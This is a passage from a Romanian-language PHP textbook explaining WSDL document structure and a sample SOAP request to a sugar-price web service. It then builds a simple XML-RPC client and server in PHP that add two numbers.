Pentru informaþii suplimentare privind tipurile de date utilizate în SOAP, citiþi
secþiunea urmãtoare a lucrãrii.

Limbajul WSDL
WSDL (Web Service Description Language) este un limbaj bazat pe XML pentru
descrierea serviciilor Web, reprezentând o componentã importantã a triadei WSDL,
UDDI, SOAP/XML-RPC. Versiunea curentã a limbajului este 1.1 (http://www.w3.org/
TR/wsdl).
Descrierea WSDL a unui serviciu Web este o colecþie de metadate despre serviciul
respectiv care comunicã:
• ce face acest serviciu (operaþiunile pe care le efectueazã);
• unde este localizat (detalii ale adresei la care poate fi invocat);
• cum poate fi accesat (detalii ale formatelor de date ºi tipurilor de protocoale utilizate
pentru accesarea operaþiunilor).
În esenþã, descrierea WSDL „spune” utilizatorului tot ceea ce are nevoie pentru a
putea utiliza serviciul respectiv.
WSDL furnizeazã atât o descriere abstractã, cât ºi o descriere concretã a
serviciilor Web, precum ºi modalitatea în care sunt legate elementele care
constituie subiectele acestor descrieri. Descrierea abstractã include definiþii ale
tipurilor de date (utilizând sintaxa furnizatã de XML Schema), ale mesajelor ºi tipurilor de
port (interfeþele serviciului Web). Descrierea concretã include locaþia în care este oferit
serviciul Web, precum ºi protocolul specific utilizat de client pentru a comunica cu acesta.
Un document WSDL este compus din urmãtoarele ºapte categorii de secþiuni:
• tipuri (types), inclusã în documentul WSDL prin intermediul elementului types .
Secþiunea este un container pentru definiþiile tipurilor de date (utilizate de serviciul
Web), folosind o serie de sisteme de tipuri (e.g., XSD);
• mesaj (message), inclusã prin elementul message. Un document WSDL poate include
0 sau mai multe mesaje. Un mesaj este o definiþie abstractã a datelor care vor fi
schimbate cu serviciul Web ºi este alcãtuit din pãrþi (parts) logice, fiecare dintre ele
fiind asociatã cu o definiþie inclusã într-un sistem de tipuri de date. Elementul
message conþine obligatoriu atributul name (deoarece este un identificator, numele
unui mesaj trebuie sã fie unic într-un document WSDL). Elementul part (care
reprezintã o parte a unui mesaj) are douã atribute: name (trebuie sã fie unic printre
elementele-copil ale elementului message ) ºi type (ia valori definite în XML Schema
sau în secþiunea types a documentului WSDL);
PHP ªI SERVICIILE WEB 165

• tip de port (port type), inclusã prin elementul portType. Este un set abstract de
operaþiuni (vezi punctul urmãtor) suportate de unul sau mai multe puncte finale
(endpoints). Fiecare operaþiune se referã la un mesaj de intrare ºi la mesaje de ieºire.
În esenþã, în aceastã secþiune este descrisã interfaþa serviciului (ceea ce face acesta).
Un document WSDL poate avea mai multe secþiuni port type, ceea ce este echivalent
cu a spune cã serviciul corespunzãtor prezintã o funcþionalitate exprimatã de mai
multe interfeþe. Un element portType are un atribut name, care defineºte numele cu
care va fi referitã în document interfaþa descrisã de elementul respectiv. Uneori (dar
nu în mod obligatoriu), numele elementelor portType sunt acordate dupã ºablonul
numeServiciuWebPortType;
• operaþiune (operation), inclusã în documentul WSDL prin intermediul elementului
operation; este inclusã într-o secþiune port type. O operaþiune este o descriere
abstractã a unei acþiuni suportate de serviciul Web. În esenþã, o acþiune defineºte o
metodã pe serviciu Web (numele metodei, parametrii de intrare ºi de ieºire ºi, dacã
este necesar, erorile care pot fi generate). În general, un element operation poate
defini patru tipuri de operaþiuni:
o operaþiune cerere-rãspuns (elementul operation conþine douã elemente-copil,
unul de intrare – input – ºi altul de ieºire – output –, în aceastã ordine),
echivalentã cu un apel de metodã;
o operaþiune cu sens unic (elementul operation conþine numai elementul de
intrare), echivalentul unei operaþii care transmite date ºi nu necesitã rãspuns;
o operaþiune de notificare (elementul operation conþine numai elementul de
ieºire), echivalentul notificãrii clientului de cãtre server asupra producerii unui
eveniment;
o operaþiune de solicitare a unui rãspuns (operation conþine atât elementul de
ieºire, cât ºi pe cel de intrare, în aceastã ordine), echivalentul unei cereri adresate
de server clientului, la care se aºteaptã rãspuns;
• legãturã (binding), inclusã prin elementul binding. O legãturã ataºeazã la o interfaþã
(portType) informaþii referitoare la protocolul de transport utilizat, stilul apelului
(rpc sau document) ºi specificã, pentru fiecare operaþie conþinutã de portType, cum
se face codarea, spaþiul de nume ºi modul de codificare (encodingStyle ). Un
element binding are precizat în mod obligatoriu atributul name. Acesta trebuie sã
fie unic în documentul WSDL. Tipul de port legat se specificã prin intermediul atri-
butului type. Accesarea serviciului se face prin intermediul unui protocol de comu-
nicare precizat prin intermediul prefixului elementului binding (e.g., soap:binding).
Atributul style al acestui element precizeazã stilul apelului, iar atributul transport
precizeazã protocolul de transport;
• port (port), inclusã în secþiunea service prin intermediul elementului port. Un port
este un punct final (endpoint), definit prin asocierea dintre o adresã de reþea ºi o
legãturã (binding). El este denumit punct final deoarece defineºte informaþiile necesare
pentru accesarea ºi invocarea serviciului Web. Un element port trebuie sã aibã
precizat numele (unic în documentul WSDL) prin intermediul atributului name;
• serviciu (service), inclusã prin intermediul elementului service. Un serviciu com-
binã un set de puncte finale (porturi) înrudite. Este important de subliniat cã un
serviciu Web poate utiliza legãturi multiple.
166 PROGRAMAREA ÎN PHP

Figura 7.4. Funcþionarea serviciilor Web

În WSDL, definiþiile abstracte ale punctelor finale ºi mesajelor sunt separate de


desfãºurarea lor concretã în reþea ºi de formatul de date utilizat. Dupã cum se constatã,
WSDL defineºte un mecanism care foloseºte legãturi (bindings), utilizat pentru a ataºa
un protocol specific sau un format de date la un mesaj, operaþiune sau punct final. Acest
lucru permite reutilizarea definiþiilor abstracte incluse în document (adicã mesaje, care
sunt definiþii abstracte ale datelor schimbate cu serviciul, ºi tipuri de port, care sunt
colecþii abstracte de operaþiuni). În figura 7.4 puteþi urmãri modul în care funcþioneazã
serviciile Web.
Un document WSDL include o serie de declaraþii pentru spaþiile de nume utilizate de
acesta:
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”;
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”;
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”;
xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/”;
xmlns:si=”http://soapinterop.org/xsd”;
xmlns:tns= ”someURI”;
xmlns:soap=”http://schemas.xmlsoap.org/wsdl/soap/”;
xmlns:wsdl=”http://schemas.xmlsoap.org/wsdl/”;
xmlns=”http://schemas.xmlsoap.org/wsdl/”.

Prefixul tns (this namespace) este utilizat – prin convenþie – pentru a face referire
la documentul curent.
Þinând seama de structura unui document WSDL, acesta poate fi considerat ca un set
de definiþii incluse în elementul-rãdãcinã ( definitions). În continuare vom detalia
setul de definiþii, împãrþindu-l în douã categorii: definiþii incluse în descrierea abstractã
ºi, respectiv, în descrierea concretã a serviciului Web.
Descrierea abstractã a unui serviciu Web într-un document WSDL se realizeazã
astfel:
<definitions>
<types>
PHP ªI SERVICIILE WEB 167

<!--tipuri abstracte de date -->


</types>
<message>
<!--structura mesajului -->
</message>
<portType>
<!--interfata serviciului Web -->
</portType>
</definitions>
Secþiunea types se precizeazã ca în urmãtorul exemplu:
<types>
<xsd:schema>
<xsd:complexType name=”persoana”>
<xsd:all>
<xsd:element name=”nume” type=”xsd:string”/>
<xsd:element name=”varsta” type=”xsd:int”/>
<xsd:all>
</xsd:complexType>
</xsd:schema>
</types>

În acest exemplu a fost definit un tip abstract de date numit persoana, care conþine
douã elemente numite nume ºi varsta, având tipurile xsd:string ºi xsd:int.
Iatã cum se precizeazã secþiunea message:
<message name=”mesaj_cerere”>
<part name=”identificator” type=”xsd:string”/>
</message>
message name=”mesaj_raspuns”>
<part name=”return” type=”tns:persoana”/>
</message>
În acest exemplu sunt definite douã mesaje (având numele mesaj_cerere ºi
mesaj_raspuns). Fiecare mesaj conþine câte o parte (part), având numele
identificator ºi return , tipurile acestora fiind xsd:string ºi, respectiv,
tns:partType (tip abstract definit în secþiunea types).
Iatã cum se precizeazã într-un document WSDL, în cele mai multe cazuri, secþiunea
portType:
<portType name=”interfata_serviciu”>
<operation name=”trimite_mesaj”>
<input message=”tns:mesaj_cerere”/>
<output message=”tns:mesaj_raspuns”/>
</operation>
</portType>
În acest exemplu, tipul de port interfata_serviciu include o singurã operaþiune,
de tip cerere-rãspuns, denumitã trimite_mesaj. Elementul de intrare specificã mesajul
168 PROGRAMAREA ÎN PHP

trimis de client serverului (tns:mesaj_cerere), iar cel de ieºire (tns:mesaj_raspuns)


specificã mesajul trimis de server clientului.
Descrierea concretã a unui serviciu Web într-un document WSDL se realizeazã astfel:
<definitions>
<binding>
<!-- legatura la protocoale -->
</binding>
<service>
<!-- locatia serviciului -->
</service>
</definitions>
Secþiunea binding este precizatã astfel:
<binding name=”legatura”
type=”interfata_serviciu” >
<soap:binding style=”rpc”
transport=”http://schemas.xmlsoap.org/soap/http”/>
<operation name=”trimite_mesaj”>
<soap:operation soapAction=”URI#trimite_mesaj”
style=”rpc”/>
<input>
<soap:body use=”encoded”
namespace=”URI”
encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/”
</input>
<output>
<soap:body use=”encoded”
namespace=”Some-URI”
encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/”/>
</output>
</operation>
</binding>
În acest exemplu se defineºte legãtura legatura, care specificã pentru interfaþa
interfata_serviciu protocolul de comunicare SOAP, protocolul de transport HTTP
ºi stilul de apel (rpc ). În continuare sunt specificate informaþii de acces pentru opera-
þiunea trimite_mesaj .
Secþiunea service este precizatã în felul urmãtor:
<service name=”nume_serviciu”>
<port name=”port_serviciu”
binding=”legatura”>
<soap:address location=”Script-URI”/>
</port>
</service>
PHP ªI SERVICIILE WEB 169

În acest exemplu, numele serviciului este nume_serviciu ; el conþine un singur


port (port_serviciu ), care utilizeazã legãtura legatura. Serviciul este localizat prin
intermediul URI-ului Script-URI.
Calea tradiþionalã pentru utilizarea unui serviciu Web este urmãtoarea: se obþin
detalii despre interfaþa de programare a acestuia ºi apoi se scrie un client. La fiecare
schimbare a interfeþei, clientul trebuie modificat. WSDL este o încercare de a împiedica
acest neajuns, permiþând clientului mai multã flexibilitate. O secvenþã tipicã de etape
parcurse pentru generarea unui serviciu Web este urmãtoarea:
• se creeazã un serviciu Web ºi un API corespunzãtor;
• se genereazã automat, din API, un document WSDL;
• se publicã documentul WSDL astfel încât sã fie accesibil celor interesaþi (trebuie sã
fie plasat într-o locaþie cunoscutã sau trebuie sã poatã fi localizat prin UDDI);
• un utilizator potenþial acceseazã descrierea publicatã;
• utilizând descrierea, programatorul scrie un client care poate accesa serviciul.
De multe ori, serviciile Web sunt suficient de complexe, astfel încât fiºierele WSDL
corespunzãtoare au ºi ele o complexitate ridicatã. Din fericire, existã modalitãþi ºi
instrumente pentru crearea fiºierelor WSDL din codul-sursã. Þinând cont de faptul cã un
document WSDL nu este altceva decât o expresie formalã a API-ului unui serviciu Web
ºi, prin definiþie, acesta face publice clasele ºi/sau metodele serviciului, se pot imagina
urmãtoarele douã modalitãþi de relaþionare între fiºierul WSDL ºi codul-sursã:
• se produce fiºierul WSDL din codul-sursã;
• se produce codul-sursã din fiºierul WSDL.
Prima modalitate este utilizatã, mai ales, pentru generarea de programe scrise în
limbaje de programare puternic tipizate, aºa cum sunt Java ºi C#. În acest scop, se pot
utiliza mai multe instrumente, e.g., java2WSDL (inclus în aplicaþia Axis). A doua
modalitate este utilizarea de instrumente ca WSDL2Java (denumire genericã pentru
instrumente incluse în diverse medii, e.g., Axis, WebSphere Application Server-Express etc.),
WSDL2C (Axis C++), WSDL.exe (Visual Studio.NET) etc. În mod concret, aplicaþia
Axis poate sã genereze clasele Java de comunicare cu clientul (stubs) ºi serverul (skeleton)
pe baza documentului WSDL.
O strategie care poate fi urmatã pentru crearea unui serviciu Web este urmãtoarea:
1. Se definesc unul sau mai multe tipuri de port.
2. Se definesc operaþiunile pentru fiecare tip de port.
3. Se definesc mesajele de intrare ºi de ieºire.
4. Se definesc pãrþile (parts) fiecãrui mesaj (tipuri de date).
5. Se definesc mesajele de eroare.
6. Se definesc legãturile asociate fiecãrui tip de port.
7. Se populeazã legãturile cu operaþiuni.
8. Se creeazã serviciul.
În continuare, pentru a ilustra noþiunile introduse, vom prezenta un serviciu Web public
denumit chiar wsdl ºi oferit de Sugar Ingineers’ Library (http://www.sugartech.co.za), sit
dedicat inginerilor din domeniul zahãrului. Serviciul oferã preþul zahãrului alb rafinat
(comercializat în Londra, la London Futures Exchange, cod de contract SBV5) ºi al
zahãrului brut (comercializat în New York de New York Board of Trade, cod de contract
170 PROGRAMAREA ÎN PHP

SWV5), care pot fi utilizate în vederea încheierii unui contract. Preþurile sunt actualizate
sãptãmânal, în ziua de vineri. Detaliile serviciului wsdl sunt publicate la adresa
http://www.sugartech.co.za/soap/wsdlserver.php#, iar documentul WSDL este generat
dinamic utilizând adresa http://www.sugartech.co.za/soap/wsdlserver.php?wsdl.
Vom folosi aplicaþia XMLSpy 2005 pentru a trimite cereri cãtre serverul SOAP. Puteþi
descãrca separat aceastã aplicaþie sau întreaga suitã de aplicaþii din care face parte, denumitã
Altova Enterprise XML Suite 2005 (http://www.altova.com/products_ide.html). Este
necesarã obþinerea unei chei (key) pentru a putea utiliza aceste produse.
Lansaþi aplicaþia XMLSpy 2005 ºi din meniul File alegeþi opþiunea Open. Aici
introduceþi URL-ul http://www.sugartech.co.za/soap/wsdlserver.php?wsdl. Va fi
afiºat documentul WSDL al serviciului wsdl. În conþinutul sãu (prezentat în con-
tinuare) pot fi identificate secþiunile ºi subsecþiunile unui document WSDL, enume-
rate anterior:
<?xml version=”1.0” encoding=”ISO-8859-1” ?>
<definitions
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:xsd=http://www.w3.org/2001/XMLSchema
xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance
xmlns:SOAP-ENC=http://schemas.xmlsoap.org/soap/encoding/
xmlns:si=”http://soapinterop.org/xsd”
xmlns:tns=”urn:http://www.sugartech.co.za”
xmlns:soap=”http://schemas.xmlsoap.org/wsdl/soap/”
xmlns:wsdl=”http://schemas.xmlsoap.org/wsdl/”
xmlns=http://schemas.xmlsoap.org/wsdl/
targetNamespace=”urn:http://www.sugartech.co.za”>
<types>
<xsd:schema targetNamespace=”urn:http://www.sugartech.co.za”>
  <xsd:import namespace=”http://schemas.xmlsoap.org/soap/
encoding/” />
  <xsd:import namespace=”http://schemas.xmlsoap.org/wsdl/” />
<xsd:complexType name=”Price”>
<xsd:all>
  <xsd:element name=”Date” type=”xsd:string” />
  <xsd:element name=”Symbol” type=”xsd:string” />
  <xsd:element name=”Open” type=”xsd:float” />
  <xsd:element name=”Low” type=”xsd:float” />
  <xsd:element name=”High” type=”xsd:float” />
  <xsd:element name=”Close” type=”xsd:float” />
  <xsd:element name=”Last” type=”xsd:float” />
  <xsd:element name=”Chnge” type=”xsd:float” />
  </xsd:all>
  </xsd:complexType>
  </xsd:schema>
  </types>
<message name=”PreviousCloseRequest”>
  <part name=”symbol” type=”xsd:string” />
PHP ªI SERVICIILE WEB 171

  </message>
<message name=”PreviousCloseResponse”>
  <part name=”return” type=”tns:Price” />
  </message>
<portType name=”wsdlPortType”>
<operation name=”PreviousClose”>
  <documentation>Returns the previous closing price of a
sugar futures contract</documentation>
  <input message=”tns:PreviousCloseRequest” />
  <output message=”tns:PreviousCloseResponse” />
  </operation>
  </portType>
<binding name=”wsdlBinding” type=”tns:wsdlPortType”>
  <soap:binding style=”rpc”
transport=”http://schemas.xmlsoap.org/soap/http” />
<operation name=”PreviousClose”>
  <soap:operation soapAction=”urn:http://www.sugartech.co.za
#PreviousClose” style=”rpc” />
<input>
  <soap:body use=”encoded”
namespace=”urn:http://www.sugartech.co.za”
encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/” />
</input>
<output>
  <soap:body use=”encoded”
namespace=”urn:http://www.sugartech.co.za”
encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/” />
  </output>
  </operation>
  </binding>
<service name=”wsdl”>
<port name=”wsdlPort” binding=”tns:wsdlBinding”>
  <soap:address location=”http://sugartech.co.za/soap/
wsdlserver.php” />
  </port>
  </service>
</definitions>

Se observã cã documentul WSDL include:


• o secþiune types , care defineºte un tip abstract de datã, având numele Price;
• douã secþiuni message, ale cãror atribute name au valorile PreviousCloseRequest
ºi PreviousCloseResponse;
• o secþiune portType, al cãrei atribut name are valoarea wsdlPortType. Aceastã
secþiune include o singurã subsecþiune operation, numitã PreviousClose. Atributul
172 PROGRAMAREA ÎN PHP

documentation al operaþiunii precizeazã ceea ce realizeazã aceasta (Returns the


previous closing price of a sugar futures contract);
• o secþiune binding , ale cãrei atribute name ºi type au valorile wsdlBinding ºi,
respectiv, tns:wsdlPortType;
• o secþiune service, al cãrei atribut name (numele serviciului) are valoarea wsdl.
Subsecþiunea port are ca valori ale atributelor name ºi binding, wsdlPort ºi,
respectiv, tns:wsdlBinding (vezi numele secþiunii binding).
Spaþiul de nume al documentului WSDL curent este declarat (în exemplul prezentat)
prin xmlns:tns=”urn:http://www.sugartech.co.za”.
Din meniul SOAP al aplicaþiei XMLSpy 2005 alegeþi Create new SOAP request. În
fereastra afiºatã, introduceþi URL-ul utilizat pentru generarea dinamicã a documentului
WSDL al serviciul wsdl ºi confirmaþi cu Ok. XMLSpy 2005 va genera mesajul SOAP
prezentat în continuare:
<SOAP-ENV:Envelope
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”>
<SOAP-ENV:Body>
<m:PreviousClose xmlns:m=”urn:http://www.sugartech.co.za”
SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/”>
<symbol xsi:type=”xsd:string”>String</symbol>
</m:PreviousClose>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Puteþi remarca structura mesajului SOAP, precizatã în subsecþiunea anterioarã (plicul,


corpul SOAP ºi, inclus în acesta, corpul mesajului). Conform instrucþiunilor de la adresa
http://www.sugartech.co.za/sugarprice/index.php, singurele valori acceptate ca intrãri
de operaþiunea PreviousClose sunt SB ºi SW.
Dacã înlocuiþi în XMLSpy String cu SB (zahãr brut), respectiv SW (zahãr alb
rafinat) ºi, din meniul SOAP, alegeþi opþiunea Send Request to server, veþi obþine mesajele
de rãspuns prezentate în continuare (acestea conþin preþuri exprimate în USD/metric
tonne pentru SB, respectiv în Usc/lb pentru SW).
Parametru de intrare SB (se obþine preþul zahãrului alb rafinat):
<?xml version=”1.0” encoding=”ISO-8859-1” ?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/”
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/”
xmlns:si=”http://soapinterop.org/xsd”
PHP ªI SERVICIILE WEB 173

xmlns:tns=”urn:http://www.sugartech.co.za”>
<SOAP-ENV:Body>
<ns1:PreviousCloseResponse
xmlns:ns1=”urn:http://www.sugartech.co.za”>
<return xsi:type=”tns:Price”>
  <Date xsi:type=”xsd:string”>2005-08-19</Date>
  <Symbol xsi:type=”xsd:string”>SBV5</Symbol>
  <Open xsi:type=”xsd:float”>9.65</Open>
  <Low xsi:type=”xsd:float”>9.65</Low>
  <High xsi:type=”xsd:float”>9.8</High>
  <Close xsi:type=”xsd:float”>9.68</Close>
  <Chnge xsi:type=”xsd:float”>.01</Chnge>
  </return>
  </ns1:PreviousCloseResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Parametru de intrare SW (se obþine preþul zahãrului brut):


<?xml version=”1.0” encoding=”ISO-8859-1” ?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/”
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/”
xmlns:si=”http://soapinterop.org/xsd”
xmlns:tns=”urn:http://www.sugartech.co.za”>
<SOAP-ENV:Body>
<ns1:PreviousCloseResponse
xmlns:ns1=”urn:http://www.sugartech.co.za”>
<return xsi:type=”tns:Price”>
  <Date xsi:type=”xsd:string”>2005-08-19</Date>
  <Symbol xsi:type=”xsd:string”>SWV5</Symbol>
  <Open xsi:type=”xsd:float”>284.5</Open>
  <Low xsi:type=”xsd:float”>283.1</Low>
  <High xsi:type=”xsd:float”>288</High>
  <Close xsi:type=”xsd:float”>285.8</Close>
  <Chnge xsi:type=”xsd:float”>.1</Chnge>
  </return>
  </ns1:PreviousCloseResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

În sfârºit, dacã trimiteþi oricare alt parametru de intrare operaþiunii PreviousClose,


veþi obþine un mesaj de eroare.
174 PROGRAMAREA ÎN PHP

<?xml version=”1.0” encoding=”ISO-8859-1” ?>


<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle=”http://schemas.xmlsoap.org/soap/
encoding/”
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:SOAP-ENC=”http://schemas.xmlsoap.org/soap/encoding/”
xmlns:si=”http://soapinterop.org/xsd”>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>CLIENT</faultcode>
<faultactor />
<faultstring>Not a valid symbol</faultstring>
<detail>
  <soapVal xsi:type=”xsd:string”>Altceva</soapVal>
</detail>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

WSFL (Web Service Flow Language) este un limbaj bazat pe XML, pentru
descrierea modului în care mai multe servicii Web lucreazã împreunã pentru a
realiza procesarea afacerilor. Prezentarea acestui limbaj depãºeºte scopul lucrãrii
noastre (vezi http://www-306.ibm.com/software/solutions/webservices/pdf/WSFL.pdf).

XML-RPC în PHP
Implementãri ale XML-RPC în PHP
XML-RPC a fost lansat de UserLand Software (http://www.userland.com) în aprilie
1998, în scopul de a permite aplicaþiilor sã schimbe mesaje între ele, indiferent de
limbajele în care au fost scrise, de platformele pe care sunt executate ºi de locaþia
sistemelor pe care ruleazã. Compania UserLand Software a implementat protocolul
XML-RPC în produsul sãu UserLand Frontier. Începând de atunci, au fost dezvoltate
diverse implementãri ale protocolului ºi mai multe companii au adoptat aceastã tehnologie
pentru produsele lor.
La adresa http://www.xmlrpc.com/directory/1568/implementations gãsiþi o listã de
implementãri ale protocolului XML-RPC scrise în PHP, Perl, Python, Java, Frontier, C/
C++, Delphi etc.
În continuare, vom enumera ºi caracteriza pe scurt câteva implementãri în limbajul
PHP ale protocolului XML-RPC:
• XML-RPC EPI este o implementare a XML-RPC scrisã în C. Aceasta a fost dezvoltatã
de Epinions (http://www.epinions.com) pentru uz intern. În martie 2000, XML-RPC
PHP ªI SERVICIILE WEB 175

XML a fost declarat open source de Epinions, proiectul fiind postat pe


www.sourceforge.net. De asemenea, Epinions a donat un modul PHP scris de Dan
Libby, care a fost introdus în PHP începând cu versiunea 4.1.0 (cu statut expe-
rimental). Documentaþia aferentã funcþiilor PHP XML-RPC o gãsiþi în manualul
PHP (http://www.php.net/manual/en/ref.xmlrpc.php).
• XMLRPCPHP (http://phpxmlrpc.sourceforge.net) este un alt proiect XML-RPC
(dezvoltat de Edd Dumbill de la Useful, Inc., http://usefulinc.com) care imple-
menteazã standardul XML-RPC în limbajul PHP.
• fase4 poate fi descãrcat de la http://download.juretta.com/fase4.
• Incutio (http://scripts.incutio.com) asigurã o simplitate ridicatã în scrierea clientului
ºi a serverului ºi un nivel de control superior al erorilor. Biblioteca Incutio constã
dintr-un set de clase incluse într-un singur fiºier (IXR_library.inc.php).
• noyade, o implementare PHP purã (http://rpc.lemurpants.com/noyrpc.phps).
• XML-RPC (o versiune Useful, Inc.) este implementarea PEAR a XML-RPC (http://
pear.php.net/package/XML_RPC).

Utilizarea XMLRPCPHP pentru dezvoltarea serviciilor Web


Biblioteca XMLRPCPHP este inclusã în multe proiecte open source (e.g., Ampache,
Drupal, PostNuke etc.). Dupã descãrcarea bibliotecii ºi dezarhivarea acesteia, mutaþi
fiºierele xmlrpc.inc ºi xmlrpcs.inc în locaþia ce reprezintã valoarea directivei include_path
în php.ini sau în directorul în care veþi stoca fiºierele dezvoltate în aceastã secþiune.
Presupunem cã acest director este phpxmlrpc. Pentru dezvoltarea clienþilor XML-RPC
includeþi fiºierul xmlrpc.inc, iar pentru dezvoltarea serverelor XML-RPC includeþi atât
xmlrpc.inc, cât ºi xmlrpcs.inc.
Cele mai importante clase incluse în biblioteca XMLRPCPHP sunt
xmlrpc_client ºi xmlrpc_server , utilizate în principal pentru trimiterea ºi
receptarea mesajelor XML-RPC. Clasa xmlrpcval este utilizatã pentru a
codifica variabilele PHP în echivalenþii lor XML-RPC ºi pentru a transmite parametri
procedurii care va fi apelatã la distanþã. Funcþia xmlrpc_decode() este utilizatã pentru
a realiza procesul invers – decodificarea datelor XML-RPC în variabile PHP. Mesajele
XML-RPC sunt create prin utilizarea clasei xmlrpcmsg.
În continuare, vom prezenta modul de realizare a unui serviciu Web pentru calculul
sumei a douã numere reale. Evident, utilitatea serviciului este pur didacticã! Salvaþi
conþinutul scripturilor prezentate în listing-urile 7.1 ºi 7.2 în fiºierele client.php ºi,
respectiv, server.php.
7.1. Fiºierul client.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>Calculul sumei a doua numere reale</head>
<body>
<?php
176 PROGRAMAREA ÎN PHP

require_once(’xmlrpc.inc’);
// Se creeaza un client XML-RPC
$client = new xmlrpc_client(’/rpc/phpxmlrpc/server1.php’,
’localhost’, 80);
// Se afiseaza informatii pentru depanare
$client->setDebug(1);
/* Se creeaza doua obiecte xmlrpcval
(se codifica variabilele PHP) */
$inputNumber1 = new xmlrpcval(’12.78’, ’double’);
$inputNumber2 = new xmlrpcval(’23.01’, ’double’);
// se creeaza un tablou de obiecte xmlrpcval
$parameters = array($inputNumber1, $inputNumber2);
// Se creeaza mesajul XML-RPC
$message = new xmlrpcmsg(’sum’, $parameters);
// Se trimite mesajul si se primeste raspunsul
$response = $client->send($message);
// Se verifica daca a aparut vreo eroare
if($response->faultCode() == 0) {
// Daca nu sunt erori:
// Se decodifica raspunsul intr-un tip PHP
$rsp = xmlrpc_decode($response->value());
// Se afiseaza raspunsul (35.79)
echo $rsp;
}
else {
/* Daca apare o eroare, se afiseaza codul acesteia
si o explicatie corespunzatoare */
echo ’Eroare: <br />Cod: ’ . $response->faultCode() .
’<br />Explicatie’ . $response->faultString() .
’<br />’;
}
?>
</body>
</html>

Constructorul clasei xmlrpc_client primeºte trei argumente: calea cãtre fiºierul


care conþine serverul XML-RPC, numele de gazdã al serverului (sau adresa IP) ºi portul
folosit de serverul Web (al treilea parametru este opþional; dacã nu este prezent, se
utilizeazã valoarea implicitã: 80 pentru HTTP ºi 443 pentru HTTPS).
Constructorul clasei xmlrpcmsg primeºte douã argumente: numele metodei
(methodName), care va fi apelatã la distanþã, ºi (sub formã de tablou) parametrii care vor
fi transmiºi acesteia ($parameters):
$message = new xmlrpcmsg(’methodName’, $parameters);
S-au folosit douã metode ale clasei xmlrpc_client :
• send(), utilizatã astfel:
$response = $client->send($message, $timeout, $server_protocol);
PHP ªI SERVICIILE WEB 177

unde parametrul $message este o instanþã a clasei $xmlrpcmsg, parametrul opþional


$timeout stabileºte timpul de aºteptare (are valoarea implicitã 0 – aºteptare la infinit),
iar parametrul opþional $server_protocol are valoarea implicit㠒http’ (cealaltã
valoare posibilã fiind ’https’). Dupã transmiterea obiectului $message serverului,
acesta din urmã întoarce un obiect xmlrpcresp ($response). Obiectul xmlrpcresp
are trei metode, acestea fiind:
o faultCode() – întoarce codul asociat cu eroarea returnatã de server. Dacã nu a
survenit nici o eroare, metoda întoarce valoarea 0;
o faultString() – întoarce o descriere textualã a erorii;
o value()– întoarce (ca un obiect xmlrpcval) valoarea conþinutã în rãspunsul
serverului. Valoarea astfel obþinutã trebuie decodificatã (utilizând funcþia
xmlrpc_decode()), rezultând o variabilã PHP;
• setDebug(), utilizatã astfel:

$client->setDebug($flag);
unde parametrul $flag ia valoarea 1 sau 0, dupã cum se cere sau nu se cere clientului
XML-RPC sã afiºeze informaþii pentru depanare în browser. Dacã metoda nu este
apelatã de client, aceste informaþii nu se afiºeazã.
Constructorul clasei xmlrpcval primeºte douã argumente: variabila PHP care
trebuie codificatã ($numeVar) ºi tipul XML-RPC rezultat (’type’):
inputNumber1 = new xmlrpcval($numeVar, ’type’);

7.2. Fiºierul server.php


<?php
require_once(’xmlrpc.inc’);
require_once(’xmlrpcs.inc’);
$server = new xmlrpc_server(array(’sum’ => array(
’function’ => ’phpSum’,
’signature’ => array(array(’double’, ’double’, ’double’)),
’docstring’ => ’Acest serviciu intoarce suma a
doua numere reale.’
)));
function phpSum($msg) {
global $xmlrpcerruser;
$inputNumber1 = xmlrpc_decode($msg->params[0]);
$inputNumber2 = xmlrpc_decode($msg->params[1]);
if(is_float($inputNumber1) && is_float($inputNumber2)) {
$sum = $inputNumber1 + $inputNumber2;
return new xmlrpcresp(new xmlrpcval($sum, ’double’));
}
else
return new xmlrpcresp(0, $xmlrpcerruser+1,
”Tipul parametrilor este incorect.”);
}
?>
178 PROGRAMAREA ÎN PHP

